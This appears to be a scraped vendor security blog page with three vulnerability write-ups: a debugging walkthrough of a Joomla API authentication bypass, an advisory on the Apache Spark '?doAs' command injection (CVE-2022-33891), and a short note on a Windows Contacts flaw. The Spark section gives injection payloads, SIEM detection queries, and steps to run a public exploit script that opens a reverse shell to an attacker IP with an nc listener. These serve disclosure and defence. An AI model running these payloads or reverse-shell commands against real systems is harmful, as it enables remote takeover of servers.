        }

        // If we can't find a match bail with a 406 - Not Acceptable
        if ($mediaType === null) {
            throw new Exception\NotAcceptable('Could not match accept header', 406);
        }

        /** @var $mediaType Accept */
        $format = $mediaType->getValue();

        if (\array_key_exists($mediaType->getValue(), $this->formatMapper)) {
            $format = $this->formatMapper[$mediaType->getValue()];
        }

        $this->input->set('format', $format);

        if ($caught404) {
            throw $e;
        }

        $this->input->set('option', $route['vars']['component']);
        $this->input->set('controller', $route['controller']);
        $this->input->set('task', $route['task']);

        foreach ($route['vars'] as $key => $value) {
            if ($key !== 'component') {
                if ($this->input->getMethod() === 'POST') {
                    $this->input->post->set($key, $value);
                } else {
                    $this->input->set($key, $value);
                }
            }
        }

        $this->triggerEvent('onAfterApiRoute', array($this));

        if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
            if (!$this->login(array('username' => ''), array('silent' => true, 'action' => 'core.login.api'))) {
                throw new AuthenticationFailed();
            }
        }
    }

why this function is interesting? because it routes the application and routing is the process of examining the request environment to determine which component should receive the request. The component optional parameters are then set in the request object to be processed when the application is being dispatched.

Debugging

From here I started debugging since it started to be hard to understand the flow from the static analysis only.

Set the debugger

I’m using Phpstorm with Xdebug and I’m on ubuntu desktop.

Just download Phpstorm and start it.

After that in Chrome, install this extension

Xdebug helper

Link: https://chrome.google.com/webstore/detail/xdebug-helper/eadndfjplgieldjbigjakmdgkmoaaaoc

After you install it, go to the link, click on the extension, and click debug

Now you will get a message in phpstorem that there is a request coming.

NOTE: you maybe need to restart chrome browser.

You can follow this video for more information:

https://youtu.be/3idASlzGTg4

As debugging and reverse engineering a binary program, usually you would set a breakpoint on the main function. we will do the same here, and in our case index.php can be considered as the main, and it starts running when it runs the app.php which all executable code should be triggered through it.

Understand how the data gets loaded

While you are stepping into the program, you will notice line 25 in app.php where it’s including framework.php

We can see here that there is a pre-loaded configuration and it’s going to load it.

Now in configuration.php we can see all of it.

Here we can see that the data in configuration.php got assigned to the variable $config.

Here I listed the important methods that I noticed the program going through


NOTE: those are not all the methods/functions but those are the most obvious and clarify how the flow works.

route()

  • getContainer()

    This will get DI container, and prepare it.

    In Joomla CMS, a Dependency Injection (DI) container is a software component that manages the instantiation and dependency resolution of objects in the application. It is a design pattern that allows developers to write modular, decoupled, and reusable code.

    The Joomla DI container is based on the PHP-DI library, which provides a simple and flexible way to manage object dependencies in a Joomla application. The DI container is used to instantiate and manage objects and to inject dependencies into them.

  • getMethod()


    This method will get the HTTP request method.


    When you follow it, you will notice it’s going to __get function, and we can see that the $method variable is set to GET.

     

  • handlePreflight()

this handles the preflight requests. A preflight request is a small request that is sent by the browser before the actual request. It contains information like which HTTP method is used, as well as if any custom HTTP headers are present. The preflight gives the server a chance to examine what the actual request will look like before it’s made.

Basically, it will check if this is an OPTIONS request or if CORS is enabled, if not it does nothing.

  • parseApiRoute()

This method parses the given route and returns the name of a controller mapped to the given route. 

it requires a method parameter, Request method to match. One of GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, or PATCH. 

it returns an array containing the controller and the matched variables. and if some error happened it will call InvalidArgumentException which is an exception that is thrown when an inappropriate argument is passed to a function. This could be because of an unexpected data type or invalid data.

getRoutePath()

This method will get the path from the route and remove any leading or trailing slash.

This method uses getInstance() which returns the global Uri object, only creating it if it doesn’t already exist, and also getPath() which gets the URL path string. here are the values of both:

Now back to parseApiRoute(), we have this line

$query = Uri::getInstance()->getQuery(true);

and this will retrieve the parameter public and its value true

After that, it goes through a for loop to iterate through all of the known routes looking for a match, and here we can see the matches.

From there going back to route()

and you can see that all the variables are set.

Now it will trigger an event which means it will get the event name ‘onAfterApiRoute’ and it will set some values.

$this->triggerEvent('onAfterApiRoute', array($this));

Understand the authentication bypass

After that we go to the if statement that checks if the $route variable
contains a key 'public' and if its value is false. If the key is not set or its value is false, the code attempts to log in the user by calling the $this->login() method with two parameters: an empty array for the username and an array containing two additional parameters: 'silent' => true and 'action' => 'core.login.api'.

If the login fails, the code throws an AuthenticationFailed exception.

But if the 'public' key is set to a value of true in the $route variable, the first part of the if condition in the code snippet will evaluate to false. This means that the code inside the if block will not be executed, and the user will not be required to log in.

Therefore, if 'public' is set to true, the user will have access to the route without the need for authentication.

and this is why we can bypass the authentication or no authentication required to access the data.

Understand where the config data came from

Now going back to the doExecute() function, we reached to dispatch() method.

when I reached here I was still trying to understand how the data gets retrieved, and while I’m stepping into dispatch() method, I got here:

As you can notice the $component variable set to “config” and here I started to follow config and I found the following:

libraries/vendor/joomla/application/src/AbstractApplication.php

and this is what pushes me to go from the beginning and start debugging from index.php to Unserstand how the data gets loaded.

a note, $config variable, and the data are already assigned as we saw in the Understand how the data gets loaded section.

understand how this data gets sent

now we need to understand how this data gets sent.

going back to dispatch() basically, it’s responsible for rendering a particular component (specified by $component or via the ‘option’ HTTP GET parameter) and setting up the associated document buffer, while also triggering a plugin event after the component has been dispatched.

now back to execute() it will render the output and rendering is the process of pushing the document buffers into the template placeholders, retrieving data from the document, and pushing it into the application response buffer, and here basically you will see the program sets the body content and prepare it.

after that, we will see the respond() method called and this method prepares the headers and the response to be sent.

after it will trigger the onAfterRespond event which means it’s the end but one last touch is to shut down the registered function for handling PHP fatal errors. using handleFatalError() function and you will notice that it will go to DatabaseDriver.php to __destructor() to disconnect from the database.

Mitigation

Upgrade to version 4.2.8

Final Thoughts

This was a really hard one to debug and analyze, and that’s because the way Joomla CMS is developed they break it into small components, methods ..etc, and basically they go through a lot of loops to break each request, take the input through some regex check, and also initiate all the needed components/variables for this request.

The explanation here was not straightforward, not like going step by step, there’s some go back and forth with the analysis and this is intended since I wanted to give you a window to see closely to some level what I went through during the analysis.

I believe it would be hard to really understand the whole flow not only the vulnerability itself but also the program if you don’t debug it by yourself and step into it step by step. However, I tried to give more of a general look and go more in detail with the root cause of the vulnerability itself.

Resources:

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Apache Zero Days – Apache Spark Command Injection Vulnerability (CVE-2022-33891)

Component Name:

Apache Spark

Affected Versions:

Apache Spark ≤3.0.3

3.1.1≤ Apache Spark ≤3.1.2

3.2.0≤ Apache Spark ≤3.2.1

Vulnerability Type:

Command Injection

CVSSv3:

Base Score:                                    8.8 (High)

Attack Vector:                                 Network

Attack Complexity:                             Low

Privileges Required:                           None

User Interaction:                              None

Confidentiality Impact:                        High

Integrity Impact:                              High

Availability Impact:                           High

Remediation Solutions:

Check the Component Version:

Run spark-shell command. The version information will be displayed.

 

Apache Solution

Users can update their affected products to the latest version to fix the vulnerability:

https://spark.apache.org/downloads.html

How does it work?

The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command.

User commands are processed through ?doAs parameter and nothing reflected back on the page during command execution, so this is blind OS injection. Your commands run, but there will be no indication if they worked or not or even if the program you’re running is on target.

OS commands that are passed on the URL parameters?doAs will trigger the background Linux bash process which calls cmdseq will run the process with the command line id -Gn .Running of bash with id -Gn is a good sign of indicator that your server is vulnerable or it is already compromised.

If an attacker is sending reverse shell commands. There is also a high chance of granting apache spark server access to the attackers’ machine.

private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
}}

Vulnerable source code: https://github.com/apache/spark/pull/36315/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41

 

The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command.

Vulnerable component

http://<IP_address>/?doAs=`[command injection here]`

User commands are processed through ?doAs parameter and nothing reflected back on the page during command execution, so this is blind OS injection. Your commands run, but there will be no indication if they worked or not or even if the program you’re running is on target.

Vulnerable Method:

private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}

This is a method definition in Scala for a private method named getUnixGroups. This method takes a single String argument called username and returns a Set of Strings that represent the groups that the user belongs to on a Unix-like system.

 

The method first constructs a Seq of Strings that represents a shell command to retrieve the user’s group information using the id command. The cmdSeq variable is set to this sequence, with the username parameter concatenated to the end of the command using string concatenation.

 

Next, the executeAndGetOutput method of the Utils object is called with cmdSeq as its argument. This method executes the shell command represented by the cmdSeq sequence and returns the output of the command as a string.

 

The output of the executeAndGetOutput method is then processed to remove the trailing newline character using the stripLineEnd method. The resulting string is then split into an array of strings using the split method and converted into a Set using the toSet method. This Set of strings represents the user’s group membership.

 

    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)

 

The getUnixGroups method constructs a shell command by concatenating the username parameter with the id command. The username parameter is not properly sanitized or validated, which means that an attacker could potentially inject malicious code into it and execute arbitrary commands on the underlying operating system.

 

For example, if an attacker were to supply a username parameter of “; echo hacked > /tmp/hacked”, the resulting shell command would be “id -Gn ; echo hacked > /tmp/hacked”. When this command is executed by the executeAndGetOutput method, it would execute the id command and then execute the echo command, which writes the string “hacked” to the file /tmp/hacked. This would give the attacker arbitrary code execution on the underlying operating system.

In current scenario we can see that OS commands that are passed on the URL parameters ?doAs will trigger the background Linux bash process which calls cmdseq will run the process with the command line id -Gn. Running of bash with id -Gn is a good sign of indicator that your server is vulnerable or it is already compromised.

If an attacker is sending reverse shell commands. There is also a high chance of granting Apache spark server access to the attackers’ machine.

Detection & Response:

This can allow the attacker to reach a permission check function that builds a Unix shell command based on their input, which is then executed by the system. This can result in arbitrary shell command execution with the privileges of the Spark process, potentially leading to complete compromise of the affected system.

The Apache Spark command injection vulnerability (CVE-2022-33891) is a serious security issue that can allow an attacker to execute arbitrary code with the privileges of the Spark process, potentially leading to complete compromise of the affected system. It is important for organizations using Apache Spark to be aware of this vulnerability and take steps to detect and respond to it.

One way to detect the vulnerability is to monitor for suspicious activity on the affected system. This can include monitoring for unexpected system or network behavior, such as unusual network traffic or system resource usage. It can also include monitoring for malicious activity, such as attempts to execute unauthorized code or access restricted resources.

Another way to detect the vulnerability is to use security tools and technologies, such as intrusion detection systems (IDS) and vulnerability scanners, to identify potential vulnerabilities and security issues on the system. These tools can help to identify and alert on potential security threats, allowing organizations to take appropriate action to mitigate the risk.

Once the vulnerability has been detected, it is important to take swift action to respond to the issue. This may include isolating the affected system to prevent further compromise, implementing temporary fixes or workarounds, and deploying a patch or update to address the issue. It is also important to conduct a thorough investigation to determine the root cause of the vulnerability and implement measures to prevent similar issues from occurring in the future.

Splunk:

index=* c-uri="*?doAs=`*"
index=* (Image="*\\bash" AND (CommandLine="*id -Gn*"))

Qradar:

SELECT UTF8(payload) from events where LOGSOURCENAME(logsourceid) ilike '%Linux%' and "Image" ilike '%\bash' and ("Process CommandLine" ilike '%id -Gn%')

SELECT UTF8(payload) from events where "URL" ilike '%?doAs=`%'

Elastic Query:

url.original:*?doAs\=`*
(process.executable:*\\bash AND process.command_line:*id\ \-Gn*)

Carbon Black:

(process_name:*\\bash AND process_cmdline:*id\ \-Gn*)

FireEye:

(process:`*\bash` args:`id -Gn`)

GrayLog:

(Image.keyword:*\\bash AND CommandLine.keyword:*id\ \-Gn*)
c-uri.keyword:*?doAs=`*

RSA Netwitness:

(web.page contains '?doAs=`')
((Image contains 'bash') && (CommandLine contains 'id -Gn'))

Logpoint:

(Image="*\\bash" CommandLine IN "*id -Gn*")
c-uri="*?doAs=`*"

 

Technical Detail:

  1. First you need to clone exploit python script from github repository into your local machine using below command.

                ```
git clone https://github.com/devengpk/Apache-zero-days.git
                ```
  1. Apache Spark server is ready to test if this self hosted server is vulnerable or not

  2. Now, let’s check if this target is vulnerable or not using below mentioned command

```
python3 exploit.py -u http://<server-ip> -p 8080 --check --verbose
```

  1. From the above commands result, we found that the searched target is vulnerable.

Now let’s use our exploit to get the reverse shell by using the below command.

```
python3 exploit.py -u http://<Server-IP> -p 8080 --revshell -lh <Attacker-IP> -lp 9001 --verbose
```

  1. Before starting the reverse shell, let’s start netcat listener to capture traffic for reverse shell using below mentioned command.

```
nc -nvlp 9001
```

  1. After executing netcat command, execute the above mentioned reverse shell command and you will successfully got reverse shell and can execute all your desired commands on the target server.

Reference:

●       Exploitation payload: https://github.com/devengpk/Apache-zero-days
●       Vulnerable source code: https://github.com/apache/spark/pull/36315/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41


#Apache #Apache_Spark #CVE-2022-33891

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

CVE-2022-44666: Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability

CVE-2022-44666 (still 0day) is a Microsoft Windows Contacts (wab.exe) vulnerability while parsing “href” attributes into syslink controls, which was originally discovered, reported through ZDI and publicly disclosed by John Page (aka hyp3rlinx) of ApparitionSec long time ago (~ 5 years). Full credits for discovery go to him!

Last summer I started to study this vulnerability, either finding out further vectors to exploit this by using URL protocol handlers such as search-ms and LDAP, or file types accepted for the latest Windows versions (VCF vs Contact files). Thanks to URL protocols, there are more applications which might trigger the vulnerability (Microsoft Office + remote templates aka linked htmlfile OLE objects, web browsers and even PDF Readers).

My best contribution was using LDAP URL protocol which makes the impact a bit higher given that the crafted contact file will be opened without further user interaction for Microsoft Word.

On December 2022, Microsoft decided to release a patch for this vulnerability but unfortunately the fix stays incomplete and was easy to find a variant out by using a single char “@” before the target payload. So this vulnerability still remains as 0day nowadays.

There are some caveats for this vulnerability:

✅ Windows Contacts application (wab.exe) does not verify MoTW flag.

✅ It’s triggerable by URI protocol LDAP.

✅ This file type (.contact) associated by default to Windows Contacts application (wab.exe).

✅ Downloads of these file types (.contact & .vcf) aren’t blocked by browsers, mail servers and so on.

❌ Syslink control click is necessary to trigger the vulnerability (1-click).

❌ The payloads have to already be somehow on the target system, this might imply security warnings, MoTW prompts… What about diagcab files? There are some cons but higher impact occasionally.

❌ Network share paths as “href” attribute are blocked by default.

❌ Full paths as “href” attribute are blocked by default.

Long time ago, 0patch released a micropatch for this issue which has been successfully working with some minor fixes (offsets) in order to cover all the Windows versions, something that, some weeks ago, has already been deployed. It’s the only unofficial fix which actually is full patching the vulnerability right now, waiting for an official patch that hopefully comes soon.

My full write-up can be found in this GitHub repository and John’s post in his website.

#CVE-2022-44666 #0day

Tags

  • #0day

  • #vicarius_blog

  • #CVE-2022-44666

” alt=”users/photos/clemvjnl46kz30juk5c0ta59k.jpg” data-v-5bf3e860=”” data-v-85c4bf60=”” data-v-0bbc59dc=”” />

Written by

j00sean (https://twitter.com/j00sean)

 

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

×

Hello!

Click one of our contacts below to chat on WhatsApp

×